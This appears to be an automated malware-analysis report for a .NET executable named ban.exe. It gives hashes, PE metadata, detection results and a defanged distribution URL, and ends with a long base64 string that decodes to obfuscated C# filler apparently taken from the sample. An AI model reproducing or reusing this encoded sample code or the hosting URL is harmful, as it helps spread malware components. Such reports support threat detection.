MalScore
100/100

ban.exe

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 10/66 Related 2779
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 272.00 KB (278528 bytes)
Compile time: 2018-04-23 07:24:18
MD5: 927313d5546862ecf37970cb9bbf9525
SHA1: 02bb88b04015b29b5c3e87ad77556627e801d499
SHA256: 48ca7cadd382433830f714d039fa1cb0dc0d59100ed185f6b9340ab3484eea04
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 3 import resource relocation
First submission: 2018-04-23 13:33:33
Last submission: 2018-04-23 13:33:33
Filename detected: - ban.exe (1)
URL file hosting
hXXp://[www].willmymanbegood.tk/ban.exeVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2018-04-23 08:49:45 [10/66] VirusTotal
PE Sections 2 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0x15674 88064 55aaeb44ffc662df65302f1ac6cb3af7 4815314e30dc3d49b341a081697d64851cb45c8e
.rsrc 0x18000 0x2e3f6 189440 449ef963ca7b674bebf24a34ea5b0a62 b3d5d12b62a47fa7f0917e66572924dba4b614b6
.reloc 0x48000 0xc 512 7938027d66a0b18028f3fce71284b5aa 6039ce21bdf7edc249a2e6c561ea295d1201ad2e
PE Resources
Name Offset Size Language Sublanguage Data
RT_ICON 0x18a50 1384 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON 0x18fb8 34 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0x18fdc 652 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_HTML 0x19268 184228 LANG_GERMAN SUBLANG_GERMAN
RT_MANIFEST 0x4620c 490 LANG_NEUTRAL SUBLANG_NEUTRAL
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright:
Assembly Version: 0.0.0.0
InternalName: wvYjLr4juOE235NI.Program.exe
FileVersion: 0.0.0.0
FileDescription:
Translation: 0x0000 0x04b0
OriginalFilename: wvYjLr4juOE235NI.Program.exe
ProductVersion: 0.0.0.0
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
Microsoft Visual C# / Basic .NET
Microsoft Visual Studio .NET
.NET executable
Microsoft Visual C# v7.0 / Basic .NET
File found
FIle type: Library
mscoree.dll
IP Found
No IP detected
URL(s)
No URL found
String too long
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIERyd0Vob0JaWUZScw0Kew0KCXB1YmxpYyBjbGFzcyBGbnNrZnZ7cHVibGljIHZvaWQgTW1XZHBiKCl7DQppbnQgVVZzQUVzID0gNTc5MDsgCndoaWxlKFVWc0FFcyA9PSA1NzkwKXsNClVWc0FFcyA9IFVWc0FFcyArIDY3NjA2NjsNCn11c2hvcnQgVEltYXBYID0gNTA4NDI7IApmbG9hdCB1cVdFc2wgPSAtNi44MDg0NDhFKzI1RjsgCmZsb2F0IFh3SGtaViA9IDguODA5MzA0RS0yM0Y7IApzaG9ydCBSWHJjRmIgPSAxNTk1MzsgCiBieXRlW10gUlhyY0ZiUlhyY0ZiID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJSWHJjRmIiKTtkb3VibGUgZnd2cnBwID0gLTIuMjY1NDM0RSsxNjsgCndoaWxlKGZ3dnJwcCA9PSAtMy4yODAxM0UtMTIpew0KZG91YmxlIGVNU1JUID0gOC40NjkyRSsxODsNCmZ3dnJwcCA9IE1hdGguQ2VpbGluZyhlTVNSVCk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoMy45MTQ0NjJFLTEzKTsNCn0NCn0NCn1wdWJsaWMgdm9pZCBleGlyWmwoKXsNCnVpbnQgSVNCV29HID0gMTY5MTE2ODsgCnNieXRlIHNnQmhISyA9ICA1NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyB2ckhrR2UgPSA4Mzk5MjM4OTYyNzQ5MzY4NzsgCnNieXRlIFhhSHJmZSA9ICAtMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBtY0NsRHYgPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIG92QWpvVCA9IDAuMDIzMDc4NjU7IApvdkFqb1QgPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuV3JpdGVMaW5lKG92QWpvVC5Ub1N0cmluZygpKTsNCn1wdWJsaWMgdm9pZCBSeHRucmEoKXsNCnNieXRlIGtDQ3BvUSA9ICA0MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBqWER1akUgPSA0Njg5OyAKZG91YmxlIE9GSk5veCA9IC03LjQyMTk4MkUtMjM7IApPRkpOb3ggPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQpDb25zb2xlLlJlYWRLZXkoKTtkb3VibGUgQXFnRGRoID0gLTQuMDQ4MjcxRS0wNjsgCmlmKEFxZ0RkaCA9PSA2LjAwMDg5NkUrMjUpew0KQXFnRGRoID0gTWF0aC5Qb3coNSwgMik7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShBcWdEZGguVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXNieXRlIGt4UlJQYSA9ICAxMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBaTGlOQmcgPSAiUFlWYkVPIjsgCiBDb25zb2xlLldyaXRlTGluZShaTGlOQmcpOw0KfXB1YmxpYyB2b2lkIGx0QXN5aygpew0Kc2J5dGUgekpMdHJ3ID0gIDg5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgV0ppdXlRID0gNDkyMDg1ODM7IAppZihXSml1eVEgPT0gNjM4NzA1KXsNCldKaXV5USA9IDcwODI4OTsNCn1ieXRlIEJ0S0p5UiA9ICAxMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgV3lwaWdKID0gNjQ2OTY7IApzdHJpbmcgUG9PVG5CID0gIkhJSUhjWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUG9PVG5CKTt1c2hvcnQgSFJjV0hkID0gNjM4OTY7IAoNCn1wdWJsaWMgdm9pZCBTaEhLU2UoKXsNCnVsb25nIHdYdmJwQiA9IDE3MzI5OTQyMDMzNDM1MzA0OyAKZG91YmxlIHp1WlRKWiA9IDIuMTAzNjM4RS0xOTsgCmlmKHp1WlRKWiA9PSAtMi4wMzUwNjZFKzE5KXsNCnp1WlRKWiA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnQ/IHBoU3NIT1JjVWlIcHVvckpuYmpNZiA9IDc5NjIxOw0KcGhTc0hPUmNVaUhwdW9ySm5iak1mICs9IDk4MDE5Ow0KfWZsb2F0IEJmeXFYUyA9IC0zNDUyNjU3RjsgCnN0cmluZyBlenNQY2sgPSAielZOT0FIIjsgCiBDb25zb2xlLldyaXRlTGluZShlenNQY2spO2J5dGUgelpZdGlzID0gIDE3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgT0pHc1N3ID0gIDE4NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIGFudG9qSygpew0KYnl0ZSBQTXpHbWsgPSAgMTUxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBkRk9ZbmsgPSA4NjQ2MTA2MzsgCmludCBQZEhmSkMgPSA5NjsgCndoaWxlKFBkSGZKQyA9PSA5Nil7DQpQZEhmSkMgPSBQZEhmSkMgKyAyMjQ2OTk7DQp9aW50IENnVnFMdyA9IDk2OTA3MDIwMjsgCmlmKENnVnFMdyA9PSA3MTAzNSl7DQpDZ1ZxTHcgPSBDZ1ZxTHcgKyA4MzUxMjQ7DQp9c2hvcnQgaElPdEZnID0gMzM2ODsgCiBieXRlW10gaElPdEZnaElPdEZnID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJoSU90RmciKTt1c2hvcnQgRElieWtjID0gNjUyNjc7IAoNCn0KfSBwdWJsaWMgY2xhc3MgR3dWYk5Pe3B1YmxpYyB2b2lkIGp6cHBHdSgpew0Kc3RyaW5nIEtBTmhreiA9ICJzZmFTaWQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEtBTmhreik7ZmxvYXQgVUJTTUtBID0gLTIuMTUxMTM0RS0yOUY7IApzaG9ydCB0QVluVVUgPSAtMjUxOTM7IAogYnl0ZVtdIHRBWW5VVXRBWW5VVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygidEFZblVVIik7c2hvcnQgYm9NcGJXID0gLTI5MDM0OyAKIGJ5dGVbXSBib01wYldib01wYlcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImJvTXBiVyIpO2ludCBNUmlxWUQgPSAxMjAzMTc7IAp3aGlsZShNUmlxWUQgPT0gMTIwMzE3KXsNCk1SaXFZRCA9IE1SaXFZRCArIDMxMTIwMDsNCn11aW50IG9uZUl1ZiA9IDExMDk7IAoNCn1wdWJsaWMgdm9pZCBHbVdmYlMoKXsNCmJ5dGUgSWxkRG9EID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IHFvdlVMaiA9IDQ1NDE7IAogYnl0ZVtdIHFvdlVManFvdlVMaiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicW92VUxqIik7c2hvcnQgT0V3V1FIID0gMzAyMTU7IAogYnl0ZVtdIE9Fd1dRSE9Fd1dRSCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiT0V3V1FIIik7dXNob3J0IExNTXZvQSA9IDU5MzcyOyAKZG91YmxlIGlIZ29BbiA9IC0xLjI4ODE3OEUrMDg7IApkb3VibGUganNFb1FhT3RpID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KaUhnb0FuID0ganNFb1FhT3RpOw0KdHJ5ew0KaW50IHNreUxSYmZjeSA9IDgyNTgxNzY7DQppZihza3lMUmJmY3kgPT0gNDcxMzMpew0Kc2t5TFJiZmN5Kys7DQp9ZWxzZXsNCnNreUxSYmZjeS0tOw0KQ29uc29sZS5Xcml0ZShza3lMUmJmY3kuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfXNieXRlIE1JU3BITyA9ICA1NjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgVk5KaGd6KCl7DQp1bG9uZyB1bnRZUUUgPSA3NTgyMzEyOTg2ODkxNTIwODsgCmJ5dGUgZmdieGhDID0gIDE3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgYnlFSE5GID0gMTM0OTE7IAogYnl0ZVtdIGJ5RUhORmJ5RUhORiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYnlFSE5GIik7ZmxvYXQgcGNST0VjID0gMTc4MTk3OUY7IApkb3VibGUgekJHdVZKID0gLTEuMjcxNTMyRSsyNzsgCmlmKHpCR3VWSiA9PSAtMi43OTc3NjdFLTA4KXsNCnpCR3VWSiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1pbnQgc01yVk1kID0gNjE1NTsgCndoaWxlKHNNclZNZCA9PSA2MTU1KXsNCnNNclZNZCA9IHNNclZNZCArIDU4ODgyOw0KfQ0KfXB1YmxpYyB2b2lkIE9RUU1iZSgpew0KZmxvYXQgQ1NiWnRlID0gLTEuNjMyMzUzRSswOUY7IApzYnl0ZSByQ3F3ekwgPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgVXRZdnJDID0gNjI7IAppZihVdFl2ckMgPT0gMzQ1NDcxKXsNClV0WXZyQyArPSAzNTMwNjI7DQp9c2J5dGUgUlVoeEdMID0gIC0xMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBDRkRDVnkgPSAxNjU1ODY7IApkb3VibGUgQ3FZc3h5eElTRFBQQiA9IC0xLjQwNDQ4M0UtMjA7DQpDRkRDVnkgPSBNYXRoLlJvdW5kKENxWXN4eXhJU0RQUEIgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KZG91YmxlIFJIVnlVQiA9IC0xLjgxNjc1MkUtMzU7IAppZihSSFZ5VUIgPT0gMi4wMTgxMzhFLTA1KXsNClJIVnlVQiA9IE1hdGguVHJ1bmNhdGUoUkhWeVVCKTsNCm9iamVjdCBneEtoYWVJV1phVnNzbXJ3Z3dDSFVsRElrUGdPOw0KZ3hLaGFlSVdaYVZzc21yd2d3Q0hVbERJa1BnTyA9IC01LjY0NzAzMUUrMzc7DQp9DQp9cHVibGljIHZvaWQgelBsd3lWKCl7DQpzaG9ydCBpdHJyTVAgPSAxNzAxOyAKIGJ5dGVbXSBpdHJyTVBpdHJyTVAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIml0cnJNUCIpO3VpbnQgQ2dGYmJGID0gOTEyNDM2NDc1OyAKYnl0ZSBzUkpvenYgPSAgOTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IEJBbElNTCA9IDgyMzU0NzMwNjsgCmludCBaZmlKY3kgPSA5NjQ0OyAKaWYoWmZpSmN5ID09IDgyNzI2Mil7DQpaZmlKY3kgPSBaZmlKY3kgKyAxMzMwMTY7DQp9dXNob3J0IHNERHdKaSA9IDEzMzY3OyAKDQp9cHVibGljIHZvaWQgVVhRdU5uKCl7DQpkb3VibGUgbkdxa3FQID0gMTYzLjY4OTM7IApkb3VibGUgaUx5QUdpUkVWRXNWa2l1ID0gLTIuMDQ3MTUyRS0yMjsNCm5HcWtxUCA9IGlMeUFHaVJFVkVzVmtpdSAvIDM7DQpkb3VibGUgeXBtYmtMID0gMC40NTk1ODA2OyAKd2hpbGUoeXBtYmtMID09IC04LjUwMzY4NkUrMDkpew0KeXBtYmtMID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9dXNob3J0IGFGZWVBdyA9IDM0NTA5OyAKYnl0ZSBFWkNaQmsgPSAgMjM4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IExSVWFsRSA9IDk0NTMwNDg5OyAKaWYoTFJVYWxFID09IDg2NDA2MSl7DQpMUlVhbEUgPSBMUlVhbEUgKyAyMzcxMDA7DQp9dWludCBMcnBRUFkgPSAxODsgCg0KfQp9IHB1YmxpYyBjbGFzcyBJY3BwdVR7cHVibGljIHZvaWQgY2RiaElMKCl7DQp1bG9uZyBqU2NnbkMgPSA0ODAxNjg1NTEwODIzMTgyNTsgCnN0cmluZyBsaHRMTFIgPSAib0dESmVUIjsgCiBDb25zb2xlLldyaXRlTGluZShsaHRMTFIpO3VzaG9ydCBBZ2tIY1AgPSAyMDA0NzsgCmludCBSWEl6UlcgPSA1OTsgCmlmKFJYSXpSVyA9PSA2NTM2MDgpew0KUlhJelJXID0gNjkwMDc2Ow0KfWJ5dGUgVUdmdnlXID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUga1VrRmRpID0gIC00ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgVXpSdWVkKCl7DQpzYnl0ZSBnR2pOUmUgPSAgMzY7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IGVBdGtwciA9IC0wLjAwMDM1NzU0MDVGOyAKZmxvYXQgWHd5QWx4ID0gLTYwMDUyLjM3RjsgCmludCBaaWVPZXYgPSA5MjQyNTI5ODsgCmlmKFppZU9ldiA9PSA2NzcxOSl7DQpaaWVPZXYgPSAyMTk0MjE7DQp9bG9uZyBJRlVueG0gPSAyMjE1NzU1NjI0NDQxNzI0NjsgCnVsb25nIEZ0bHhXeiA9IDMxNzcwNzQwMDYyMTkxMDMwOyAKDQp9cHVibGljIHZvaWQgRnF4bmduKCl7DQpzYnl0ZSBleU5yemMgPSAgLTc2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCB3bExJRk8gPSAtMzAyODg7IAogYnl0ZVtdIHdsTElGT3dsTElGTyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygid2xMSUZPIik7ZG91YmxlIGlRQlhMSyA9IC0yLjE4MDY5NUUtMTc7IAppUUJYTEsgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpDb25zb2xlLldyaXRlKGlRQlhMSy5Ub1N0cmluZygpKTtsb25nIHlYT0FTZyA9IDY5MDk0NDYwNTcxNDE2ODE0OyAKdWludCBGbWlrbWEgPSA0NDY2MzA1Nzg7IApzYnl0ZSBnR1N5eUIgPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIFRIZmh1TSgpew0KdWxvbmcgbUJMYlB2ID0gMzc0MzQzOTM0ODE2MjQzMjA7IAp1bG9uZyB3QlhXbEYgPSA1MTM5NzQ3NTU1NjIyNzMwOTsgCmxvbmcgbG9MT2tjID0gODYyODExNjE3OTI1NTc5NjU7IApkb3VibGUgcmhGV3JhID0gLTkuOTEzODM1RSsxOTsgCnJoRldyYSA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCkNvbnNvbGUuV3JpdGUocmhGV3JhLlRvU3RyaW5nKCkpO3N0cmluZyBZZkFjVnkgPSAiTE55ZGdOIjsgCiBDb25zb2xlLldyaXRlTGluZShZZkFjVnkpO3N0cmluZyB6SFhtbkEgPSAiSXpJS293IjsgCiBDb25zb2xlLldyaXRlTGluZSh6SFhtbkEpOw0KfXB1YmxpYyB2b2lkIFRMZEpMQigpew0KdWxvbmcgRldXYnpBID0gODU0NTIzOTM0NjIzNzgwNzk7IApzdHJpbmcgamhiSnFiID0gInNMcXpMayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoamhiSnFiKTt1bG9uZyBSWUJEQ3EgPSA4MTU3MjMyNjkzMTg0NzUyNjsgCnVsb25nIGNmYlp2byA9IDQzMzgzOTI5NTAyNzQ4MDMzOyAKc3RyaW5nIHBieWVWSiA9ICJteVdOSEkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHBieWVWSik7c3RyaW5nIHFUUEV3RSA9ICJOYVJWRVIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHFUUEV3RSk7DQp9cHVibGljIHZvaWQga2lRV2lMKCl7DQpsb25nIFRwYkZKcSA9IDg1Njc5MjQ4ODk3NTUxMjI4OyAKdXNob3J0IEFqZ21ucyA9IDEwNjg4OyAKc2J5dGUgZ0NJcVpVID0gIDE3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgckdTQ0RiID0gMjQxMDsgCnVzaG9ydCBPc0ljQ1EgPSA5NzQ3OyAKZG91YmxlIEJwYW56UCA9IC01LjY2NTY4N0UtMjc7IAppZihCcGFuelAgPT0gNS4zNDU5MjVFKzEwKXsNCkJwYW56UCA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTQuNjY1MDgyRS0zMCk7DQp9DQp9DQp9Cn0gcHVibGljIGNsYXNzIEFQR0VLbHtwdWJsaWMgdm9pZCB4dkVpS2UoKXsNCmJ5dGUgc1lDQ29RID0gIDI1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBVYmRKZEggPSAtMS4xNjE2OTFFKzE3OyAKd2hpbGUoVWJkSmRIID09IDQuOTUxNjE0RSsxMCl7DQpVYmRKZEggPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KZm9yKCA7IDspIHsNCkNvbnNvbGUuV3JpdGVMaW5lKDIuNjA3MDRFLTEyKTsNCn0NCn11c2hvcnQgdm5WREZFID0gNjE2ODU7IAp1c2hvcnQgUkNnSXd6ID0gMjIxOyAKbG9uZyByUVlWTnggPSAxMTM5OTE5MzAyNjA1OTg1NTsgCnNob3J0IG9Nclh6VyA9IDI5OTM5OyAKIGJ5dGVbXSBvTXJYeldvTXJYelcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm9Nclh6VyIpOw0KfXB1YmxpYyB2b2lkIE1EaFZ4VCgpew0Kc2J5dGUgWVp4T0xHID0gIC02MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBRSGN6UEMgPSA0MzQwMzM1NjEzMjI2NDA2ODsgCnVzaG9ydCBNR2dZZkggPSA0MjYyMzsgCnN0cmluZyBzdU1vcEogPSAiZ3pvTXZ1IjsgCiBDb25zb2xlLldyaXRlTGluZShzdU1vcEopO3Nob3J0IHludFZERCA9IC0xNTk0NzsgCiBieXRlW10geW50VkREeW50VkREID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ5bnRWREQiKTtzaG9ydCBBWUdFcGQgPSAyNjQ0NTsgCiBieXRlW10gQVlHRXBkQVlHRXBkID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJBWUdFcGQiKTsNCn1wdWJsaWMgdm9pZCB0cUNRQVcoKXsNCnVsb25nIHlrYXdtVCA9IDUzNjc5MjA4MTY4MzI0NjA0OyAKbG9uZyBCeml1a2IgPSAzODI1OTA1MjUwMTgxNTczNjsgCmxvbmcgTW1yb1V5ID0gNDkwNDA1MDAyMTQ5NDk5MjI7IAp1aW50IGJxSGVtRiA9IDI2MjgxNTU0OyAKbG9uZyB0QnFiWHUgPSA4NTIyNjQyNzUxODYzNTg0MzsgCmRvdWJsZSByUGJUdE0gPSA0LjE1MjgwM0UtMzA7IApyUGJUdE0gPSBNYXRoLlBvdyg1LCAyKTsNCnRyeXsNCmludCB5QVF3VFNvZVduUlhYID0gNzE4MDM1NDsNCmlmKHlBUXdUU29lV25SWFggPT0gMzI0NjQpew0KeUFRd1RTb2VXblJYWCsrOw0KfWVsc2V7DQp5QVF3VFNvZVduUlhYLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfXB1YmxpYyB2b2lkIHZ6YXRkVigpew0KaW50IHlKSGVNRCA9IDQ5Nzc3NTsgCmlmKHlKSGVNRCA9PSA0Mzk2NDkpew0KeUpIZU1EID0geUpIZU1EICsgNzY0MjI0Ow0KfXNieXRlIHRLd2hQeiA9ICA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgeHNZTHFHID0gODU0NzY1OyAKaWYoeHNZTHFHID09IDE5ODA2MCl7DQp4c1lMcUcgPSB4c1lMcUcgKyA2MjU1Njg7DQp9dWxvbmcgQ0dLUm1FID0gMzkwODQ5MTQ1NzQxMTg0NDsgCnVsb25nIGpVck5KTyA9IDIxMDAzODczMTA3NTY0ODAwOyAKYnl0ZSBpa21Qb3IgPSAgNjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRTkxMSFIoKXsNCmxvbmcgZWpYUUtEID0gNzc3MzU2NDE5Njc5MTQ3NTA7IAp1aW50IFZ0U09IbCA9IDQ5OTc2MjI2OyAKc2hvcnQgY2dKQmtOID0gLTMxOTEyOyAKIGJ5dGVbXSBjZ0pCa05jZ0pCa04gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImNnSkJrTiIpO3VpbnQgb1FmdHFSID0gMzY5MjsgCmxvbmcgZGFtUHB5ID0gMzA3NDc0NzE2MDQzNDgyMzY7IApzaG9ydCBzbG1aUlIgPSAtMjQ5MjM7IAogYnl0ZVtdIHNsbVpSUnNsbVpSUiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygic2xtWlJSIik7DQp9cHVibGljIHZvaWQgQ1VtT29zKCl7DQppbnQgSkVwRnlHID0gNTc7IAppZihKRXBGeUcgPT0gMTQxODczKXsNCkpFcEZ5RyArPSA0MjE0ODE7DQp9dWludCBlZ1lQY2UgPSA2ODc3MTI7IApsb25nIHlIemNXUyA9IDc3NzkzNTQ5MTE5MDUwNTAxOyAKdWxvbmcgdUZGV0dWID0gODY3MzE5NTA5MTMxNzk3OTc7IAppbnQgeGp4RUtOID0gNzIzNzEzNDg7IAppZih4anhFS04gPT0gMTAxMDcwKXsNCnhqeEVLTiA9IHhqeEVLTiArIDEyMDA1NjsNCn1ieXRlIGZ2Vm5VViA9ICA5NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBvTVBtVEx7cHVibGljIHZvaWQgVWNsTWJJKCl7DQp1aW50IGxzdUtIYiA9IDk2OyAKZG91YmxlIE9UbGFndCA9IDQuODkwODE2RSszNTsgCk9UbGFndCA9IE1hdGguU3FydCg0KTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1zdHJpbmcgU3FhWXpEID0gInhJREZuUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoU3FhWXpEKTtieXRlIHhkdlRabyA9ICA5NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIEtEcVB1USA9IDc2NjU0MTk4NDA1MDEwNjk3OyAKc2J5dGUgTkV0TmNVID0gIC00NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgekFaelVaKCl7DQpmbG9hdCBjWXhFc0ogPSAyLjQxNzUxN0UtMTJGOyAKdWludCB5T2VEenggPSA2NzM2OyAKc2hvcnQgVHlSbmdtID0gMjk3MTsgCiBieXRlW10gVHlSbmdtVHlSbmdtID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJUeVJuZ20iKTtzaG9ydCBLV1dDSGIgPSAtMTA3NjM7IAogYnl0ZVtdIEtXV0NIYktXV0NIYiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiS1dXQ0hiIik7ZmxvYXQgVm9mUWNCID0gLTguNzUwMDY0RSsxOEY7IApkb3VibGUgZFVOcEVoID0gLTIuMzEyODY7IAppZihkVU5wRWggPT0gMy4xNjAzMjZFLTM0KXsNCmRvdWJsZSBlYkVIaWVpRnFaZVRua0VubmNhTGUgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpkVU5wRWggPSBlYkVIaWVpRnFaZVRua0VubmNhTGU7DQp0cnl7DQppbnQgZlhUbE56VWFUUEhUTklMUVFHaHBTRnJQSCA9IDI2ODA2NDQ7DQppZihmWFRsTnpVYVRQSFROSUxRUUdocFNGclBIID09IDE1MjMzKXsNCmZYVGxOelVhVFBIVE5JTFFRR2hwU0ZyUEgrKzsNCn1lbHNlew0KZlhUbE56VWFUUEhUTklMUVFHaHBTRnJQSC0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0NCn1wdWJsaWMgdm9pZCBBbEtuUWYoKXsNCnNob3J0IFN0ZXBOYyA9IDE2OTg2OyAKIGJ5dGVbXSBTdGVwTmNTdGVwTmMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlN0ZXBOYyIpO3NieXRlIGdNdGZMbiA9ICA5MTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgdlhvRlJ2ID0gMC4wMTQ3MTIwMkY7IApmbG9hdCBQSEpFdmMgPSAtMi4zMDIxMjhFLTM4RjsgCnNob3J0IHJxUU9mcyA9IDIxODEzOyAKIGJ5dGVbXSBycVFPZnNycVFPZnMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInJxUU9mcyIpO3VzaG9ydCBNWmVBQ1kgPSA1Nzg0ODsgCg0KfXB1YmxpYyB2b2lkIHdPbExOVCgpew0Kc2hvcnQgQUlCa0RSID0gLTE2NzQ0OyAKIGJ5dGVbXSBBSUJrRFJBSUJrRFIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkFJQmtEUiIpO3VpbnQgdGtJanp2ID0gNzIyOTk1NzE7IAp1bG9uZyB3bGJqVUcgPSAzNDExNzU3NjA5MjAzODAzNjsgCnNieXRlIEhnaXZSdiA9ICAtODU7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIEdzVmVCeSA9IDc3MTMzNTIxOTIyMTk1MTc5OyAKZG91YmxlIENYV1FHdyA9IC0xLjM3MzE4NUUtMDg7IAppZihDWFdRR3cgPT0gOS41NDgwMDUpew0KQ1hXUUd3ID0gTWF0aC5Qb3coNSwgMik7DQpvYmplY3QgdGRYZlprUm5JZWdvcFV4ckdDY2hrSFFJOw0KdGRYZlprUm5JZWdvcFV4ckdDY2hrSFFJID0gLTUuNTUxODVFLTA1Ow0KfQ0KfXB1YmxpYyB2b2lkIEZhR1RtTSgpew0KZG91YmxlIHdneEFwQyA9IC05LjM1NzUwOEUrMTU7IAp3Z3hBcEMgPSBNYXRoLlBvdyhk